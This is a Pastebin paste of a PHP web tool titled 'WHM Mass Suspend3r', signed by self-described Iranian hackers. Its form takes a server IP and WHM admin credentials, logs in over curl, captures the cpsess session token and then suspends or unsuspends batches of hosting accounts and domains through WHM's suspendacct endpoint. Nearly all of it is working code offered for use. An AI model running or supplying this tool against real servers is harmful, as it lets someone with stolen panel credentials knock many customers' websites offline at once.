Advertisement
snip3r_ir

whm mass suspender (2)

Feb 17th, 2014
210
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.50 KB | None | 0 0
  1. <?php
  2. /*=========================================|
  3.                                            |
  4. #  WHM            Mass         Suspend3r   |
  5.                                            |
  6. #             Iranian Hacker               |
  7.                                            |
  8. #      ali ahmady - pHaNtOm_X - b0x        |
  9.                                            |
  10. #                                          |
  11. ==========================================*/
  12. ?>
  13.  
  14. <html>
  15. <head>
  16. <title>___WHM Mass Suspend3r___ </title>
  17. <link rel="shortcut icon" href='http://www.rsyncit.com/images/whm-icon.png' />
  18. <meta http-equiv=Content-Type content=text/html; charset=UTF-8>
  19. <?php
  20. $shell = "#990000";
  21. echo CSS($sh3llColor);
  22. ?>
  23. </head>
  24. <!--exp-->
  25. <center>
  26. <p><span lang="en-us"><font color="#4CC417" size="5">___WHM Mass Suspend3r___ </font>
  27. </span></p>
  28. <p><img src="http://www.rsyncit.com/images/whm-icon.png" height="80" width="80"/></p>
  29. <form method="POST" action="" align="center">
  30. <font color="red" size="4"> server ip : </font>
  31. <input type="text" name="ip"/>
  32. <font color="red" size="4"> whm user : </font>
  33. <input type="text" name="username"/>
  34. <font color="red" size="4"> whm pass : </font>
  35. <input type="text" name="password"/><br/><br/>
  36. <textarea rows="10" style="height:40%;" value="" name="user">Enter Users Here</textarea>
  37. <textarea rows="10" style="height:40%;" value="" name="domain">Enter Domains Here</textarea><br/><br/>
  38. <input type="submit" name="suspend" value="Suspend!"/>
  39. <input type="submit" name="unsuspend" value="Unsuspend!"/>
  40. </form>
  41. </td></tr></table></p>
  42. </form>
  43. <!--/exp-->
  44. </center>
  45.  
  46. <?php
  47. echo "
  48. <center><table>";
  49.  
  50. ini_set('max_execution_time', 300);
  51.  
  52. if(isset($_POST['suspend']))
  53. {  
  54.     $ip=$_POST['ip'];
  55.     $username = $_POST['username'];
  56.     $password = $_POST['password'];
  57.    
  58.     $url = "http://".$ip.":2086/login/?login_only=1";
  59.    
  60.     $login_data = "user=".$username . "&pass=". $password;
  61.    
  62.     $fp = fopen('cookie.txt', 'w');
  63.  
  64.     $login = curl_init();
  65.     curl_setopt($login, CURLOPT_COOKIESESSION, 1);
  66.     curl_setopt($login, CURLOPT_COOKIEJAR, 'cookie.txt');
  67.     curl_setopt($login, CURLOPT_COOKIEFILE, 'cookie.txt');
  68.     curl_setopt($login, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0');
  69.     curl_setopt($login, CURLOPT_TIMEOUT, 40);
  70.     curl_setopt($login, CURLOPT_RETURNTRANSFER, 1);        
  71.     curl_setopt($login, CURLOPT_URL, $url);
  72.     curl_setopt($login, CURLOPT_HEADER, 1);    
  73.     curl_setopt($login, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  74.     curl_setopt($login, CURLOPT_FOLLOWLOCATION, 1);
  75.     curl_setopt($login, CURLOPT_POST, 1);
  76.     curl_setopt($login, CURLOPT_POSTFIELDS, $login_data);
  77.     $content= curl_exec($login);   
  78.     fwrite($fp,$content);
  79.     fclose($fp);
  80.    
  81.     $ses = file_get_contents("cookie.txt");
  82.     preg_match("/cpsess\d+/",$ses,$se);
  83.  
  84.     $user = explode("\n", $_POST['user']);
  85.     $domain = explode("\n", $_POST['domain']);
  86.    
  87.     for($i=0; $i < count($user); $i++)
  88.     {
  89.         $urlatt = "http://".$ip.":2086/".$se[0]."/scripts2/suspendacct?domain=". trim($domain[$i]) . "&user=".trim($user[$i]) ."&suspend-domain=Suspend&reason=";
  90.        
  91.         curl_setopt($login, CURLOPT_COOKIESESSION, 1);
  92.         curl_setopt($login, CURLOPT_RETURNTRANSFER, 1);        
  93.         curl_setopt($login, CURLOPT_URL, $urlatt);
  94.         $content= curl_exec($login);
  95.         echo "</p><font color=\"#E5E4E2\">";
  96.         echo $domain[$i]." -> done<br />";
  97.         echo "</font></p>";    
  98.     }
  99.    
  100.    
  101.     curl_close($login);
  102. }  
  103. else if(isset($_POST['unsuspend']))
  104. {
  105.     $ip=$_POST['ip'];
  106.     $username = $_POST['username'];
  107.     $password = $_POST['password'];
  108.    
  109.     $url = "http://".$ip.":2086/login/?login_only=1";
  110.    
  111.     $login_data = "user=".$username . "&pass=". $password;
  112.    
  113.     $fp = fopen('cookie.txt', 'w');
  114.  
  115.     $login = curl_init();
  116.     curl_setopt($login, CURLOPT_COOKIESESSION, 1);
  117.     curl_setopt($login, CURLOPT_COOKIEJAR, 'cookie.txt');
  118.     curl_setopt($login, CURLOPT_COOKIEFILE, 'cookie.txt');
  119.     curl_setopt($login, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0');
  120.     curl_setopt($login, CURLOPT_TIMEOUT, 40);
  121.     curl_setopt($login, CURLOPT_RETURNTRANSFER, 1);        
  122.     curl_setopt($login, CURLOPT_URL, $url);
  123.     curl_setopt($login, CURLOPT_HEADER, 1);    
  124.     curl_setopt($login, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  125.     curl_setopt($login, CURLOPT_FOLLOWLOCATION, 1);
  126.     curl_setopt($login, CURLOPT_POST, 1);
  127.     curl_setopt($login, CURLOPT_POSTFIELDS, $login_data);
  128.     $content= curl_exec($login);   
  129.     fwrite($fp,$content);
  130.     fclose($fp);
  131.  
  132.     $user = explode("\n", $_POST['user']);
  133.     $domain = explode("\n", $_POST['domain']);
  134.     $ses = file_get_contents("cookie.txt");
  135.     preg_match("/cpsess\d+/",$ses,$se);
  136.    
  137.     for($i=0; $i < count($user); $i++)
  138.     {
  139.        
  140.         $urlatt = "http://".$ip.":2086/".$se[0]."scripts2/suspendacct?domain=". trim($domain[$i]) . "&user=".trim($user[$i]) ."&unsuspend-domain=Unsuspend&reason=";
  141.            
  142.         curl_setopt($login, CURLOPT_COOKIESESSION, 1);
  143.         curl_setopt($login, CURLOPT_RETURNTRANSFER, 1);        
  144.         curl_setopt($login, CURLOPT_URL, $urlatt);
  145.         $content= curl_exec($login);
  146.         echo "</p><font color=\"#E5E4E2\">";
  147.         echo $domain[$i]." -> done<br />";
  148.         echo "</font></p>";    
  149.     }    
  150.     curl_close($login);
  151. }
  152. echo "</table></center>";
  153.     function CSS($sh3llColor)
  154. {
  155.     $css =  "
  156.     <style>
  157.     BODY
  158.     {
  159.         FONT-FAMILY: Verdana;
  160.         margin: 2;
  161.         color: #cccccc;
  162.         background-color: #34282C;
  163.     }
  164.     sy  
  165.     {
  166.         color:".$sh3llColor.";
  167.         font-size:7pt;
  168.         font-weight: bold;
  169.     }
  170.     #Box
  171.     {
  172.     color:".$sh3llColor.";
  173.     font-size:14px;
  174.     background-color:#000;
  175.     font-weight:bold;
  176.     width:500px;
  177.     }
  178.     tr
  179.     {
  180.     BORDER-RIGHT:  #cccccc 1px solid;
  181.     BORDER-TOP:    #cccccc 1px solid;
  182.     BORDER-LEFT:   #cccccc 1px solid;
  183.     BORDER-BOTTOM: #cccccc 1px solid;
  184.     color: #ffffff;
  185.     }
  186.     td
  187.     {
  188.     BORDER-RIGHT:  #cccccc 1px solid;
  189.     BORDER-TOP:    #cccccc 1px solid;
  190.     BORDER-LEFT:   #cccccc 1px solid;
  191.     BORDER-BOTTOM: #cccccc 1px solid;
  192.     color: #cccccc;
  193.     }
  194.     table
  195.     {
  196.     BORDER:  #eeeeee  outset;
  197.     BACKGROUND-COLOR: #000000;
  198.     color: #cccccc;
  199.     }
  200.     input
  201.     {
  202.     BORDER-RIGHT:  ".$sh3llColor." 1px solid;
  203.     BORDER-TOP:    ".$sh3llColor." 1px solid;
  204.     BORDER-LEFT:   ".$sh3llColor." 1px solid;
  205.     BORDER-BOTTOM: ".$sh3llColor." 1px solid;
  206.     BACKGROUND-COLOR: #333333;
  207.     font: 9pt tahoma;
  208.     color: #ffffff;
  209.     }
  210.     select
  211.     {
  212.     BORDER-RIGHT:  #ffffff 1px solid;
  213.     BORDER-TOP:    #999999 1px solid;
  214.     BORDER-LEFT:   #999999 1px solid;
  215.     BORDER-BOTTOM: #ffffff 1px solid;
  216.     BACKGROUND-COLOR: #000000;
  217.     font: 9pt tahoma;
  218.     color: #CCCCCC;;
  219.     }
  220.     submit
  221.     {
  222.     BORDER:  1px outset buttonhighlight;
  223.     BACKGROUND-COLOR: #272727;
  224.     width: 40%;
  225.     color: #cccccc;
  226.     }
  227.     textarea
  228.     {
  229.     BORDER-RIGHT:  #ffffff 1px solid;
  230.     BORDER-TOP:    #999999 1px solid;
  231.     BORDER-LEFT:   #999999 1px solid;
  232.     BORDER-BOTTOM: #ffffff 1px solid;
  233.     BACKGROUND-COLOR: #333333;
  234.     color: #ffffff;
  235.     }
  236.     A:link {COLOR:".$sh3llColor."; TEXT-DECORATION: none}
  237.     A:visited { COLOR:".$sh3llColor."; TEXT-DECORATION: none}
  238.     A:active {COLOR:".$sh3llColor."; TEXT-DECORATION: none}
  239.     A:hover {color:blue;TEXT-DECORATION: none}
  240.     </style>";
  241.     return $css;
  242. }
  243. function footer()
  244. {
  245.     echo '
  246. <head>
  247. <meta http-equiv="Content-Language" content="en-us">
  248. </head>
  249. <font color="#000000">
  250. <p align="center"><font color="#4CC417" size="5">Tool by ali ahmady</p></font>
  251. <p align="center"><font color="#4CC417" size="5">We Are: ali ahmady + pHaNtOm_X + b0x</font></p>
  252.  
  253. </font>
  254. </html>
  255.     ';
  256. }
  257. function filter($string)
  258. {
  259.     if(get_magic_quotes_gpc() != 0){return stripslashes($string);   }
  260.     else{return $string;    }
  261. }
  262. footer();
  263. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement